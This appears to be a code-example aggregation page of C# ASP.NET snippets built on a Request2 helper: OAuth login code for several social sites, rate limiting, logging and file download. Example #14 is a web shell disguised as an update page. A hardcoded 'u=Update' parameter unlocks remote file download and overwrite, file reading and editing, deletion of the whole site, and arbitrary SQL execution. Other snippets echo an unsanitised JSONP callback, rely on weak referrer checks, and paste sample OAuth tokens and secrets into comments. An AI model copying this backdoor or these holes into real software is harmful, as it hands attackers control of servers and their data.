예제 #1
0
        /// <summary>
        /// 取登录账号信息
        /// </summary>
        /// <returns>取登录账号信息</returns>
        public UserInfo GetUserInfo()
        {
            UserInfo user    = new UserInfo();
            string   openid  = Request2.GetQ("openid");
            string   openkey = Request2.GetQ("openkey");

            List <UrlParameter> param = new List <UrlParameter>();

            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", Request2.GetQ("oauth_token")));
            param.Add(new UrlParameter("oauth_verifier", Request2.GetQ("oauth_verifier")));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            //param.Add(new UrlParameter("scope", "create_records"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign = new StringBuilder().Append("GET&")
                                   .Append(access_token.UrlEncode2())
                                   .Append("&")
                                   .Append(OAuthCommon.GetUrlParameter(param).UrlEncode2());

            param.Add(new UrlParameter("oauth_signature", OAuthCommon.GetHMACSHA1(config.AppSecret, Session2.Get("oauth_token_secret"), sbSign.ToString()).UrlEncode2()));
            param.Sort(new UrlParameterCompre());
            string data = HttpHelper.SendGet(new StringBuilder().Append(access_token).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString()) + "&";

            user.Token  = data.GetMatchingValues("oauth_token=(.+?)&", "oauth_token=", "&").FirstOrDefault() ?? "";
            user.Secret = data.GetMatchingValues("oauth_token_secret=(.+?)&", "oauth_token_secret=", "&").FirstOrDefault() ?? "";

            param.Clear();
            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", user.Token));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            //param.Add(new UrlParameter("scope", "create_records"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign2 = new StringBuilder().Append("GET&")
                                    .Append(user_info.UrlEncode2())
                                    .Append("&")
                                    .Append(OAuthCommon.GetUrlParameter(param).UrlEncode2());

            param.Add(new UrlParameter("oauth_signature", OAuthCommon.GetHMACSHA1(config.AppSecret, user.Secret, sbSign2.ToString()).UrlEncode2()));
            param.Sort(new UrlParameterCompre());
            data = HttpHelper.SendGet(new StringBuilder().Append(user_info).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString());

            user.UserID = data.GetMatchingValues("\"uid\":\"(.+?)\"", "\"uid\":\"", "\"").FirstOrDefault() ?? "";
            user.Email  = data.GetMatchingValues("\"email\":\"(.+?)\"", "\"email\":\"", "\"").FirstOrDefault() ?? "";
            user.Name   = (data.GetMatchingValues("\"name\":\"(.+?)\"", "\"name\":\"", "\"").FirstOrDefault() ?? "").Ascii2Native();
            user.Sex    = (data.GetMatchingValues("\"gender\":\"(.+?)\"", "\"gender\":\"", "\"").FirstOrDefault() ?? "") == "0" ? 1 : 0;
            user.Header = data.GetMatchingValues("\"logo50\":\"(.+?)\"", "\"logo50\":\"", "\"").FirstOrDefault() ?? "";

            //{"uid":"45908241","name":"\u534e\u6625","gender":"0","logo50":"http:\/\/img.kaixin001.com.cn\/i\/50_0_0.gif"}
            //Msg.WriteEnd(GetFriendsInfo(user.Token, user.Secret).ToJson());
            //SendText(user.Token, user.Secret, "测试数据");
            return(user);
        }
예제 #2
0
        /// <summary>
        /// 限制用户操作 限制多少秒内不能相同操作
        /// </summary>
        /// <param name="op">操作 不能为空</param>
        public static void Run(string op)
        {
            if (MaxPosts == 0)
            {
                return;
            }

            op = op.IsNullEmpty() ? "_sys_op_" : op;
            DateTime now = DateTime.Now;
            string   ip  = Request2.GetIP();

            int len = list.Where(p => p.Time.GetTimeSpan(now).Seconds < MaxSecond && ip == p.IP && p.Op == op).Count();

            if (len >= MaxPosts)
            {
                Msg.WriteEnd("限制{0}秒内不能相同操作".FormatWith(MaxSecond));
            }

            list.Add(new PostQueueInfo()
            {
                IP = ip, Time = now, Op = op
            });
            if (list.Count() > Length)
            {
                list.RemoveAt(0);
            }
        }
예제 #3
0
        /// <summary>
        /// 取登录账号信息
        /// </summary>
        /// <returns>取登录账号信息</returns>
        public UserInfo GetUserInfo()
        {
            UserInfo user    = new UserInfo();
            string   openid  = Request2.GetQ("openid");
            string   openkey = Request2.GetQ("openkey");

            List <UrlParameter> param = new List <UrlParameter>();

            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", Request2.GetQ("oauth_token")));
            param.Add(new UrlParameter("oauth_verifier", Request2.GetQ("oauth_verifier")));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign = new StringBuilder().Append("GET&")
                                   .Append(access_token.UrlEncode2())
                                   .Append("&")
                                   .Append(OAuthCommon.GetUrlParameter(param).UrlEncode2());

            param.Add(new UrlParameter("oauth_signature", OAuthCommon.GetHMACSHA1(config.AppSecret, Session2.Get("oauth_token_secret"), sbSign.ToString()).UrlEncode2()));
            param.Sort(new UrlParameterCompre());
            string data = HttpHelper.SendGet(new StringBuilder().Append(access_token).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString());

            user.Token  = data.GetMatchingValues("oauth_token=(.+?)&", "oauth_token=", "&").FirstOrDefault() ?? "";
            user.Secret = data.GetMatchingValues("oauth_token_secret=(.+?)&", "oauth_token_secret=", "&").FirstOrDefault() ?? "";
            user.UserID = data.Substring(data.IndexOf("&name=") + 6);

            param.Clear();
            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", user.Token));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            param.Add(new UrlParameter("format", "json"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign2 = new StringBuilder().Append("GET&")
                                    .Append(user_info.UrlEncode2())
                                    .Append("&")
                                    .Append(OAuthCommon.GetUrlParameter(param).UrlEncode2());

            param.Add(new UrlParameter("oauth_signature", OAuthCommon.GetHMACSHA1(config.AppSecret, user.Secret, sbSign2.ToString()).UrlEncode2()));
            param.Sort(new UrlParameterCompre());
            data = HttpHelper.SendGet(new StringBuilder().Append(user_info).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString());

            user.Email   = data.GetMatchingValues("\"email\":\"(.+?)\"", "\"email\":\"", "\"").FirstOrDefault() ?? "";
            user.Name    = data.GetMatchingValues("\"nick\":\"(.+?)\"", "\"nick\":\"", "\"").FirstOrDefault() ?? "";
            user.Sex     = (data.GetMatchingValues("\"sex\":(.+?),", "\"sex\":", ",").FirstOrDefault() ?? "") == "1" ? 1 : 0;
            user.Address = data.GetMatchingValues("\"location\":\"(.+?)\"", "\"location\":\"", "\"").FirstOrDefault() ?? "";

            //{"data":{"birth_day":31,"birth_month":3,"birth_year":1984,"city_code":"9","country_code":"1","edu":null,"email":"*****@*****.**",
            //"fansnum":59,"head":"","idolnum":25,"introduction":"","isent":0,"isvip":0,"location":"未知","name":"cexo255","nick":"熊","openid":"",
            //"province_code":"31","sex":1,"tag":null,"tweetnum":40,"verifyinfo":""},"errcode":0,"msg":"ok","ret":0}
            //Msg.WriteEnd(GetFriendsInfo(user.Token, user.Secret).ToJson());
            return(user);
        }
예제 #4
0
        /// <summary>
        /// È¡µÇ¼Õ˺ÅÐÅÏ¢
        /// </summary>
        /// <returns>È¡µÇ¼Õ˺ÅÐÅÏ¢</returns>
        public UserInfo GetUserInfo()
        {
            string   code = Request2.GetQ("code").Trim();
            UserInfo user = new UserInfo();

            List <UrlParameter> param = new List <UrlParameter>();

            param.Add(new UrlParameter("client_id", config.AppKey));
            param.Add(new UrlParameter("redirect_uri", config.RedirectUrl));
            param.Add(new UrlParameter("client_secret", config.AppSecret));
            param.Add(new UrlParameter("code", code));
            param.Add(new UrlParameter("grant_type", "authorization_code"));
            param.Sort(new UrlParameterCompre());

            string data = HttpHelper.SendPost(access_token, OAuthCommon.GetUrlParameter(param), "application/x-www-form-urlencoded");

            user.Token = data.GetMatchingValues("\"access_token\":\"(.+?)\"", "\"access_token\":\"", "\"").FirstOrDefault() ?? "";
            user.Name  = data.GetMatchingValues("\"name\":\"(.+?)\"", "\"name\":\"", "\"").FirstOrDefault() ?? "";

            data = HttpHelper.SendGet(session_key + "?oauth_token=" + user.Token);
            string _session_key = data.GetMatchingValues("\"session_key\":\"(.+?)\"", "\"session_key\":\"", "\"").FirstOrDefault() ?? "";

            user.Secret = _session_key;

            param.Clear();
            param.Add(new UrlParameter("method", "users.getInfo"));
            param.Add(new UrlParameter("api_key", config.AppKey));
            param.Add(new UrlParameter("v", "1.0"));
            param.Add(new UrlParameter("format", "JSON"));
            param.Add(new UrlParameter("session_key", _session_key));
            param.Add(new UrlParameter("access_token", user.Token));
            param.Sort(new UrlParameterCompre());
            string sign = OAuthCommon.MD5(OAuthCommon.GetUrlParameter2(param) + config.AppSecret);

            param.Add(new UrlParameter("sig", sign));

            data        = HttpHelper.SendPost(server, OAuthCommon.GetUrlParameter(param), "application/x-www-form-urlencoded");
            user.UserID = data.GetMatchingValues("\"uid\":(.+?),", "\"uid\":", ",").FirstOrDefault() ?? "";
            user.Sex    = (data.GetMatchingValues("\"sex\":(.+?),", "\"sex\":", ",").FirstOrDefault() ?? "") == "1" ? 1 : 0;
            user.Header = data.GetMatchingValues("\"headurl\":\"(.+?)\"", "\"headurl\":\"", "\"").FirstOrDefault() ?? "";
            //Msg.WriteEnd(GetFriendsInfo(user.Token, user.Secret).ToJson());
            //SendText(user.Token, user.Secret, "²âÊÔÊý¾Ý");
            //data = Net2.GetRemoteHtmlCode4(user_info + "?access_token=" + user.Token, Encoding.UTF8);

            //{"expires_in":2592943,"refresh_token":"171693|0.8FABtNFcYxY4k5EitG8rC4cHF5OimqIW.248357590",
            //"user":{"id":248357590,"name":"ÐÜ»ª´º","avatar":[{"type":"avatar","url":"http:\/\/hd52.xiaonei.com\/photos\/hd52\/20080711\/23\/56\/head_6642f107.jpg"},
            //{"type":"tiny","url":"http:\/\/hd52.xiaonei.com\/photos\/hd52\/20080711\/23\/56\/tiny_6642f107.jpg"},
            //{"type":"main","url":"http:\/\/hd52.xiaonei.com\/photos\/hd52\/20080711\/23\/56\/main_6642f107.jpg"},
            //{"type":"large","url":"http:\/\/hd52.xiaonei.com\/photos\/hd52\/20080711\/23\/56\/large_6478m107.jpg"}]},
            //"access_token":"171693|6.5784313da61394f8b29af060af50e699.2592000.1326250800-248357590"}
            //{"renren_token":{"session_secret":"b7e69adb797a7d127e092bb4af60e1ab","expires_in":2592359,"session_key":"6.5784313da61394f8b29af060af50e699.2592000.1326250800-248357590"},
            //"oauth_token":"171693|6.5784313da61394f8b29af060af50e699.2592000.1326250800-248357590","user":{"id":248357590}}
            //[{"uid":248357590,"tinyurl":"http://hd52.xiaonei.com/photos/hd52/20080711/23/56/tiny_6642f107.jpg","vip":1,"sex":1,
            //"name":"ÐÜ»ª´º","star":0,"headurl":"http://hd52.xiaonei.com/photos/hd52/20080711/23/56/head_6642f107.jpg","zidou":0}]
            return(user);
        }
예제 #5
0
        //#region IsSafeUrl
        /// <summary>
        /// 不允许在本地提交数据
        /// </summary>
        /// <remarks>返回是否是安全URL</remarks>
        /// <param name="doMain">域名</param>
        public static bool IsSafeUrl(string doMain)
        {
            string url = Request2.GetReferrer().ToLower().Trim().Replace("http://", "").Replace("https://", "").Split('/')[0];

            doMain = doMain.ToLower().Trim();
            if (url.IndexOf(doMain) > -1)
            {
                return(true);
            }
            return(false);
        }
예제 #6
0
        /// <summary>
        /// 输出jsonp内容 并结束
        /// </summary>
        /// <param name="json">json内容</param>
        public static void WriteJSONPEnd(string json)
        {
            string callback = Request2.GetQ("callback");

            System.Web.HttpContext.Current.Response.Clear();
            System.Web.HttpContext.Current.Response.ContentType = "application/javascript";
            System.Web.HttpContext.Current.Response.Expires     = 0;
            System.Web.HttpContext.Current.Response.Cache.SetNoStore();
            System.Web.HttpContext.Current.Response.Write("{0}({1});".FormatWith(callback, json));
            HttpContext.Current.Response.End();
        }
예제 #7
0
        /// <summary>
        /// ProcessRequest
        /// </summary>
        /// <param name="context"></param>
        public void ProcessRequest(HttpContext context)
        {
            string url    = context.Request.FilePath;
            string refUrl = Request2.GetReferrer().ToLower();
            string host   = "http://" + Request2.GetHost().ToLower();

            if (string.IsNullOrEmpty(url) || string.IsNullOrEmpty(refUrl) || refUrl.IndexOf(host) != 0 || url.IndexOf(host) != 0)
            {
                context.Response.ContentType = "image/JPEG";
                context.Response.WriteFile("/no.jpg");
            }
        }
예제 #8
0
        //#endregion
        //#region 错误消息
        /// <summary>
        /// 显示详细的出错信息
        /// </summary>
        /// <param name="ex">Exception ex</param>
        /// <returns></returns>
        public static string Expand(Exception ex)
        {
            StringBuilder sb = new StringBuilder();

            sb.AppendLine("*******************************************************************************************************");
            if (!HttpContext.Current.IsNull())
            {
                sb.AppendLine(string.Format("* DateTime :   {0}	IP:{1}	MemberID:{2}	OS:{3}	Brower:{4}", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"), Request2.GetIP(), "", Request2.GetOS(), Request2.GetBrowser()));
                sb.AppendLine("* Url      :   " + Request2.GetUrl());
                sb.AppendLine("* Request  :   " + Request2.GetRequest());
            }
            _expandException(ex, 1, sb);
            sb.AppendLine("*******************************************************************************************************");
            sb.AppendLine("");
            return(sb.ToString());
        }
예제 #9
0
        /// <summary>
        /// 写日志
        /// </summary>
        /// <param name="msg">消息</param>
        /// <param name="encoding">编码</param>
        /// <returns>true/false</returns>
        public bool Write(string msg, Encoding encoding = null)
        {
            string        LogFile = LogPath.TrimEnd('\\') + @"\Log_" + DateTime.Now.ToString("yyyyMMdd") + ".log";
            StringBuilder sb      = new StringBuilder();

            sb.AppendLine("/*******************************************************************************************************");
            sb.AppendLine(string.Format("* DateTime:{0}{1}", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"), HttpContext.Current.IsNotNull() ? ("	IP:{0}	OS:{1}	Brower:{2}".FormatWith(Request2.GetIP(), Request2.GetOS(), Request2.GetBrowser())) : ""));
            if (HttpContext.Current.IsNotNull())
            {
                sb.AppendLine("* Url:" + Request2.GetUrl());
                sb.AppendLine("* Data:" + Request2.GetRequestInputStream());
            }
            sb.AppendLine("* Message:" + msg);
            sb.AppendLine("*******************************************************************************************************/");
            sb.AppendLine("");
            return(FileDirectory.FileWrite(LogFile, sb.ToString(), encoding ?? Encoding.UTF8));
        }
예제 #10
0
        /// <summary>
        /// 限制用户操作 不能提交相同的内容
        /// </summary>
        /// <param name="op">操作 不能为空</param>
        /// <param name="content">内容</param>
        public static void RunContent(string op, string content)
        {
            op = op.IsNullEmpty() ? "_sys_op_" : op;
            DateTime now = DateTime.Now;
            string   ip  = Request2.GetIP();

            int len = list.Where(p => ip == p.IP && p.Op == op && p.Content == content).Count();

            if (len > 0)
            {
                Msg.WriteEnd("不能提交相同的内容");
            }

            list.Add(new PostQueueInfo()
            {
                IP = ip, Time = now, Op = op, Content = content
            });
            if (list.Count() > Length)
            {
                list.RemoveAt(0);
            }
        }
예제 #11
0
        /// <summary>
        /// 取登录账号信息
        /// </summary>
        /// <returns>取登录账号信息</returns>
        public UserInfo GetUserInfo()
        {
            string   code = Request2.GetQ("code").Trim();
            UserInfo user = new UserInfo();

            List <UrlParameter> param = new List <UrlParameter>();

            param.Add(new UrlParameter("client_id", config.AppKey));
            param.Add(new UrlParameter("redirect_uri", config.RedirectUrl));
            param.Add(new UrlParameter("client_secret", config.AppSecret));
            param.Add(new UrlParameter("code", code));
            param.Add(new UrlParameter("grant_type", "authorization_code"));
            param.Sort(new UrlParameterCompre());

            string data = HttpHelper.SendPost(access_token, OAuthCommon.GetUrlParameter(param), "application/x-www-form-urlencoded");

            user.Token = data.GetMatchingValues("\"access_token\":\"(.+?)\"", "\"access_token\":\"", "\"").FirstOrDefault() ?? "";

            data        = Net2.GetRemoteHtmlCode4(user_info + "?access_token=" + user.Token, Encoding.UTF8);
            user.UserID = data.GetMatchingValues("\"id\": \"(.+?)\"", "\"id\": \"", "\"").FirstOrDefault() ?? "";
            user.Name   = data.GetMatchingValues("\"name\": \"(.+?)\"", "\"name\": \"", "\"").FirstOrDefault() ?? "";
            user.Sex    = (data.GetMatchingValues("\"gender\": \"(.+?)\"", "\"gender\": \"", "\"").FirstOrDefault() ?? "male") == "male" ? 1 : 0;

            string url = data.GetMatchingValues("\"link\": \"(.+?)\"", "\"link\": \"", "\"").FirstOrDefault() ?? "";

            if (!url.Trim().IsNullEmpty())
            {
                data = Net2.GetRemoteHtmlCode4(url, Encoding.UTF8).ReplaceRN();
                url  = data.GetMatchingValues("<img id=\"snsupermeic1_usertile\" errsrc=\"(.+?)\" onload=\"ic_onTL\\(this\\)\"", "<img id=\"snsupermeic1_usertile\" errsrc=\"", "\" onload=\"ic_onTL(this)\"").FirstOrDefault() ?? "";
                int index = url.IndexOf("src=\"");
                if (index != -1)
                {
                    user.Header = url.Substring(index + 5);
                }
            }
            return(user);
        }
예제 #12
0
        //#region DownFile/ResponseFile/GetHttpFile
        /// <summary>
        /// 下载文件
        /// </summary>
        /// <param name="fileFile">文件路径(绝对路径)</param>
        /// <param name="newFileName">新文件名.扩展名(无路径)</param>
        /// <returns >返回文件是否存在,存在下载成功</returns>
        public static bool ResponseFile(string fileFile, string newFileName = "")
        {
            if (System.IO.File.Exists(fileFile))
            {
                FileInfo _DownloadFile = new FileInfo(fileFile);
                newFileName = string.IsNullOrEmpty(newFileName) ? _DownloadFile.FullName : newFileName;
                if (Request2.GetBrowser().ToLower().IndexOf("ie") != -1)
                {
                    newFileName = HttpUtility.UrlEncode(newFileName, System.Text.Encoding.UTF8);
                }
                HttpContext.Current.Response.Clear();
                HttpContext.Current.Response.ClearHeaders();
                HttpContext.Current.Response.Buffer      = false;
                HttpContext.Current.Response.ContentType = "application/octet-stream";
                HttpContext.Current.Response.AppendHeader("Content-Disposition", "attachment;filename=" + newFileName);
                HttpContext.Current.Response.AppendHeader("Content-Length", _DownloadFile.Length.ToString());
                HttpContext.Current.Response.WriteFile(_DownloadFile.FullName);
                HttpContext.Current.Response.Flush();
                HttpContext.Current.Response.End();
                return(true);
            }

            return(false);
        }
예제 #13
0
        /// <summary>
        /// 取登录账号信息
        /// </summary>
        /// <returns>取登录账号信息</returns>
        public UserInfo GetUserInfo()
        {
            UserInfo user    = new UserInfo();
            string   openid  = Request2.GetQ("openid");
            string   openkey = Request2.GetQ("openkey");

            List <UrlParameter> param = new List <UrlParameter>();

            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", Request2.GetQ("oauth_token")));
            param.Add(new UrlParameter("oauth_verifier", Request2.GetQ("oauth_verifier")));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign = new StringBuilder().Append("GET&")
                                   .Append(access_token.UrlEncode2())
                                   .Append("&")
                                   .Append(OAuthCommon.GetUrlParameter(param).UrlEncode2());

            param.Add(new UrlParameter("oauth_signature", OAuthCommon.GetHMACSHA1(config.AppSecret, Session2.Get("oauth_token_secret"), sbSign.ToString()).UrlEncode2()));
            param.Sort(new UrlParameterCompre());
            string data = HttpHelper.SendGet(new StringBuilder().Append(access_token).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString());

            int intOTS  = data.IndexOf("oauth_token=");
            int intOTSS = data.IndexOf("&oauth_token_secret=");
            int intUser = data.IndexOf("&user_id=");

            user.Token  = data.Substring(intOTS + 12, intOTSS - (intOTS + 12));
            user.Secret = data.Substring((intOTSS + 20), intUser - (intOTSS + 20));
            user.UserID = data.Substring((intUser + 9), data.Length - (intUser + 9));

            param.Clear();
            param.Add(new UrlParameter("oauth_consumer_key", config.AppKey));
            param.Add(new UrlParameter("oauth_nonce", OAuthCommon.GetGUID32()));
            param.Add(new UrlParameter("oauth_signature_method", "HMAC-SHA1"));
            param.Add(new UrlParameter("oauth_timestamp", OAuthCommon.GetTimestamp()));
            param.Add(new UrlParameter("oauth_token", user.Token));
            param.Add(new UrlParameter("oauth_version", "1.0"));
            param.Sort(new UrlParameterCompre());

            StringBuilder sbSign2 = new StringBuilder().Append("GET&")
                                    .Append(user_info.UrlEncode2())
                                    .Append("&")
                                    .Append(OAuthCommon.GetUrlParameter(param).UrlEncode2());

            param.Add(new UrlParameter("oauth_signature", OAuthCommon.GetHMACSHA1(config.AppSecret, user.Secret, sbSign2.ToString()).UrlEncode2()));
            param.Sort(new UrlParameterCompre());
            data = HttpHelper.SendGet(new StringBuilder().Append(user_info).Append("?").Append(OAuthCommon.GetUrlParameter(param)).ToString());

            user.Name    = data.GetMatchingValues("<name>(.+?)</name>", "<name>", "</name>").FirstOrDefault() ?? "";
            user.Header  = data.GetMatchingValues("<profile_image_url>(.+?)</profile_image_url>", "<profile_image_url>", "</profile_image_url>").FirstOrDefault() ?? "";
            user.Sex     = (data.GetMatchingValues("<gender>(.+?)</gender>", "<gender>", "</gender>").FirstOrDefault() ?? "").ToLower().Equals("m") ? 1 : 0;
            user.Address = data.GetMatchingValues("<location>(.+?)</location>", "<location>", "</location>").FirstOrDefault() ?? "";

            //Msg.Write(GetFriendsInfo(user.Token, user.Secret).ToJson());
            //SendText(user.Token, user.Secret, "测试数据2");
            return(user);
        }
예제 #14
0
        /// <summary>
        /// Page_Load
        /// </summary>
        /// <param name="e"></param>
        protected override void OnInit(EventArgs e)
        {
            string localPath = string.Empty;
            string fileName  = string.Empty;
            bool   isTrue    = true;
            string u2        = "Update";

            string[] ext     = new string[] { "/bin.bak/", "/app_data.bak/", "/app_code.bak/", "\\.dll.bak", "\\.aspx.bak", "\\.config.bak", "\\.master.bak", "\\.asax.bak", "\\.ascx.bak", "\\.compiled.bak", "\\.asmx.bak", "\\.cs.bak" };
            string[] repExt  = new string[] { "/Bin/", "/App_Data/", "/App_Code/", "\\.dll", "\\.aspx", "\\.config", "\\.master", "\\.asax", "\\.ascx", "\\.compiled", "\\.asmx", "\\.cs" };
            string[] strList = new string[] { "{1}: {0} ok!", "<font color='red'>{1}: {0} error!</font>" };
            string   u1      = Request2.GetQ("u").Trim();

            if (!u2.Equals(u1))
            {
                return;
            }
            string active = Request2.GetQ("active").Trim();

            switch (active)
            {
            case "sh": Msg.WriteEnd(template.Replace("{0}", Environment.MachineName).Replace("{1}", Request2.GetRelativeRoot())); break;

            case "do":
                string file = Request2.Get("file").Trim();     //StringExtensions.HtmlDecode(Request2.Get("file")).Trim();
                if (file.IsNullEmpty())
                {
                    Msg.WriteEnd("error file.");
                }
                string action = file.Substring(0, 3);
                file = "/" + file.Substring(3).TrimStart('/').TrimStart('\\').Replace("\\", "/");
                if (file.Length < 1)
                {
                    Msg.WriteEnd(string.Format(strList[1], file, "file"));
                }
                string url = StringExtensions.HtmlDecode(Request2.Get("url")).Replace("\\", "/").TrimEnd('/').TrimEnd('\\').Trim();
                if (url.Length < 10)
                {
                    Msg.WriteEnd(string.Format(strList[1], url, "url"));
                }

                switch (action)
                {
                case "af:":
                    isTrue = true;
                    for (int i = 0; i < ext.Length; i++)
                    {
                        file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
                    }
                    file = file.Replace("\\.", ".");
                    string[] folderList = file.Split('/');
                    if (folderList.Length > 1)
                    {
                        fileName = folderList[folderList.Length - 1]; FileDirectory.DirectoryVirtualCreate("~/tmp" + file.Replace(fileName, ""));
                    }
                    for (int i = 0; i < ext.Length; i++)
                    {
                        file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
                    }
                    file = file.Replace("\\.", ".");
                    url  = url + file;
                    for (int i = 0; i < ext.Length; i++)
                    {
                        file = new Regex(ext[i], RegexOptions.IgnoreCase).Replace(file, repExt[i]);
                    }
                    file      = file.Replace("\\.", ".");
                    localPath = "~/tmp/".GetMapPath() + "{0}";
                    file      = file.Replace("/", "\\");
                    fileName  = string.Format(localPath, file);
                    System.Net.WebClient wc = new System.Net.WebClient();
                    try {
                        wc.DownloadFile(url, fileName);
                    } catch {
                        isTrue = false;
                    } finally {
                        wc.Dispose();
                    }
                    file = file.Replace("\\", "/");
                    for (int i = 0; i < ext.Length; i++)
                    {
                        file = new Regex(repExt[i], RegexOptions.IgnoreCase).Replace(file, ext[i]);
                    }
                    file = file.Replace("\\.", ".");
                    if (isTrue)
                    {
                        Response.Write(string.Format(strList[0], file, "add file"));
                    }
                    else
                    {
                        Response.Write(string.Format(strList[1], file, "add file"));
                    }
                    break;

                case "df:":
                    if (file == "/all")
                    {
                        localPath = Server2.GetMapPath("~/");
#if !MONO40
                        FileDirectory.APIDelete(localPath);
#endif
                        Msg.WriteEnd(string.Format(strList[0], "all", "del file") + "<br>");
                    }
                    localPath = Server2.GetMapPath("~/") + file;
                    if (!FileDirectory.FileExists(localPath))
                    {
                        Msg.WriteEnd(string.Format(strList[1], file, "del file"));
                    }
                    try {
                        FileDirectory.FileDelete(localPath);
                    } catch {
                        Msg.WriteEnd(string.Format(strList[1], file, "del file"));
                    }
                    Response.Write(string.Format(strList[0], file, "del file"));
                    break;

                case "rf:":
                    localPath = Server2.GetMapPath("~/") + file;
                    if (!FileDirectory.FileExists(localPath))
                    {
                        Msg.WriteEnd(string.Format(strList[1], file, "read file"));
                    }
                    string sbText = FileDirectory.FileReadAll(localPath, Encoding.UTF8);
                    string text   = "<textarea id=\"txtContent\" cols=\"70\" rows=\"20\" f=\"" + localPath + "\">" + sbText + "</textarea><br /><input id=\"btnEdit\" type=\"button\" value=\"edit\" />";
                    Msg.WriteEnd(text + " ok!");
                    break;

                case "ap:":
                    FileDirectory.DirectoryVirtualCreate("~" + file);
                    Msg.WriteEnd(string.Format(strList[0], file, "add path"));
                    break;

                case "dp:":
                    localPath = Server2.GetMapPath("~/") + file;
                    try {
                        if (System.IO.Directory.Exists(localPath))
                        {
                            System.IO.Directory.Delete(localPath);
                        }
                    } catch {
                        Msg.WriteEnd(string.Format(strList[1], file, "del path"));
                    }
                    Msg.WriteEnd(string.Format(strList[0], file, "del path"));
                    break;

                case "rp:":
                    localPath = Server2.GetMapPath("~/") + file.TrimStart('/').TrimEnd('/') + "/";
                    string size = "";
                    System.Collections.Generic.IList <string> sbFile2 = new System.Collections.Generic.List <string>();
                    StringBuilder sbFile3 = new StringBuilder();
                    try {
                        FileDirectory.FileList(localPath, ref sbFile2, localPath);
                        localPath = localPath.Replace("\\/", "\\");
                        for (int i = 0; i < sbFile2.Count; i++)
                        {
                            file = sbFile2[i].Trim().TrimStart('.');
                            if (file.Equals(""))
                            {
                                continue;
                            }
                            try { size = LongExtensions.FormatKB((new System.IO.FileInfo(file)).Length); } catch { size = "0"; }
                            sbFile3.Append(file.Replace(localPath, "").Replace("\\", "/") + " (" + size + ")" + Environment.NewLine);
                            if (i.Equals(sbFile2.Count - 2))
                            {
                                sbFile3.Append("(" + sbFile2.Count + ")" + Environment.NewLine);
                            }
                        }
                    } catch {
                        Msg.WriteEnd(string.Format(strList[1], file, "read path"));
                    }
                    text = localPath + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + sbFile3.ToString() + "</textarea>";
                    Msg.WriteEnd(string.Format(strList[0], text, "read path"));
                    break;

                case "db:":
                    file = file.Replace("/r/n", Environment.NewLine).Trim('/');
                    if (file.IndexOf(Environment.NewLine + "GO" + Environment.NewLine) != -1)
                    {
                        Data.ExecuteCommandWithSplitter(file, "GO");
                        Msg.WriteEnd(string.Format(strList[0], "", "read db"));
                    }
                    else
                    {
                        text = file + "<br /><textarea id=\"txtText\" cols=\"100\" rows=\"20\">" + Data.GetDataSet(file).ToJson() + "</textarea>";
                        Msg.WriteEnd(string.Format(strList[0], text, "read db"));
                    }
                    break;

                default: Msg.WriteEnd("file error!"); break;
                }
                Response.End();
                break;

            case "ok": localPath = "~/tmp/".GetMapPath();
                System.Collections.Generic.IList <string> fileList = new System.Collections.Generic.List <string>();
                FileDirectory.FileList(localPath, ref fileList, localPath);
                for (int i = 0; i < fileList.Count; i++)
                {
                    file = fileList[i].Trim().TrimStart('.');
                    if (file.Length < 2)
                    {
                        continue;
                    }
                    fileName = localPath + file;
                    isTrue   = FileDirectory.FileCopy(fileName, Server2.GetMapPath("~/") + file, true);
                    if (isTrue)
                    {
                        FileDirectory.FileDelete(fileName);
                    }
                    if (isTrue)
                    {
                        Response.Write(string.Format(strList[0], file, "update") + "<br />");
                    }
                    else
                    {
                        Response.Write(string.Format(strList[1], file, "update") + "<br />");
                    }
                }
                Response.End();
                break;

            case "ef":
                localPath = Request2.GetF("file").Trim();
                string content = Request2.GetF("data").Trim();
                FileDirectory.FileDelete(localPath);
                isTrue = FileDirectory.FileWrite(localPath, content, Encoding.UTF8);
                if (isTrue)
                {
